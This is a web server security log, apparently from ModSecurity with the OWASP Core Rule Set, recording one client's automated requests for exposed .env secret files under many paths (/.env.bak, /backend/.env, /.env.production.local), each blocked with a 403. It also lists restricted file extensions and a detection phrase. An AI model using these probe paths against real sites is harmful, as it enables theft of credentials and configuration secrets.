[Fri Dec 05 14:58:59.493658 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRawAAAIA&quot;]
[Fri Dec 05 14:58:59.493888 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRawAAAIA&quot;]
[Fri Dec 05 14:58:59.515659 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRbAAAAIA&quot;]
[Fri Dec 05 14:58:59.515832 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRbAAAAIA&quot;]
[Fri Dec 05 14:58:59.516105 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRbAAAAIA&quot;]
[Fri Dec 05 14:58:59.516340 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRbAAAAIA&quot;]
[Fri Dec 05 14:59:05.128946 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aTLlKf7gcGez-0xehTtYvAAAAAg&quot;]
[Fri Dec 05 14:59:05.129194 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aTLlKf7gcGez-0xehTtYvAAAAAg&quot;]
[Fri Dec 05 14:59:05.129395 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aTLlKf7gcGez-0xehTtYvAAAAAg&quot;]
[Fri Dec 05 14:59:07.605984 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aTLlK_7gcGez-0xehTtYvQAAAAg&quot;]
[Fri Dec 05 14:59:07.606235 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aTLlK_7gcGez-0xehTtYvQAAAAg&quot;]
[Fri Dec 05 14:59:07.606459 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aTLlK_7gcGez-0xehTtYvQAAAAg&quot;]
[Fri Dec 05 14:59:09.512699 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aTLlLf7gcGez-0xehTtYvgAAAAg&quot;]
[Fri Dec 05 14:59:09.512973 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aTLlLf7gcGez-0xehTtYvgAAAAg&quot;]
[Fri Dec 05 14:59:09.513198 2025] [:error] [pid 540816] [client 45.148.10.247:49810] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aTLlLf7gcGez-0xehTtYvgAAAAg&quot;]
[Fri Dec 05 14:59:09.587146 2025] [:error] [pid 535957] [client 45.148.10.247:58158] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aTLlLSytAIKzU33vQQzrwwAAAAk&quot;]
[Fri Dec 05 14:59:09.587380 2025] [:error] [pid 535957] [client 45.148.10.247:58158] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aTLlLSytAIKzU33vQQzrwwAAAAk&quot;]
[Fri Dec 05 14:59:09.587557 2025] [:error] [pid 535957] [client 45.148.10.247:58158] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aTLlLSytAIKzU33vQQzrwwAAAAk&quot;]
[Fri Dec 05 14:59:11.692734 2025] [:error] [pid 540813] [client 45.148.10.247:58162] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aTLlL5XmnoT-oA3DSHqZSwAAAAA&quot;]
[Fri Dec 05 14:59:11.693003 2025] [:error] [pid 540813] [client 45.148.10.247:58162] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aTLlL5XmnoT-oA3DSHqZSwAAAAA&quot;]
[Fri Dec 05 14:59:11.693213 2025] [:error] [pid 540813] [client 45.148.10.247:58162] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aTLlL5XmnoT-oA3DSHqZSwAAAAA&quot;]
[Fri Dec 05 14:59:23.932252 2025] [:error] [pid 535953] [client 45.148.10.247:59722] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aTLlO6gsQbwbUi5XSBYKzAAAAAY&quot;]
[Fri Dec 05 14:59:23.932488 2025] [:error] [pid 535953] [client 45.148.10.247:59722] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aTLlO6gsQbwbUi5XSBYKzAAAAAY&quot;]
[Fri Dec 05 14:59:23.932691 2025] [:error] [pid 535953] [client 45.148.10.247:59722] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aTLlO6gsQbwbUi5XSBYKzAAAAAY&quot;]
[Fri Dec 05 14:59:23.976041 2025] [:error] [pid 535953] [client 45.148.10.247:59722] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aTLlO6gsQbwbUi5XSBYKzQAAAAY&quot;]
[Fri Dec 05 14:59:23.976289 2025] [:error] [pid 535953] [client 45.148.10.247:59722] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aTLlO6gsQbwbUi5XSBYKzQAAAAY&quot;]
[Fri Dec 05 14:59:23.976481 2025] [:error] [pid 535953] [client 45.148.10.247:59722] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aTLlO6gsQbwbUi5XSBYKzQAAAAY&quot;]
[Fri Dec 05 14:59:24.496838 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aTLlPO0tnvJIONeyH4oeYAAAAAE&quot;]
[Fri Dec 05 14:59:24.497072 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aTLlPO0tnvJIONeyH4oeYAAAAAE&quot;]
[Fri Dec 05 14:59:24.497266 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aTLlPO0tnvJIONeyH4oeYAAAAAE&quot;]
[Fri Dec 05 14:59:24.540473 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTLlPO0tnvJIONeyH4oeYQAAAAE&quot;]
[Fri Dec 05 14:59:24.540703 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTLlPO0tnvJIONeyH4oeYQAAAAE&quot;]
[Fri Dec 05 14:59:24.540908 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTLlPO0tnvJIONeyH4oeYQAAAAE&quot;]
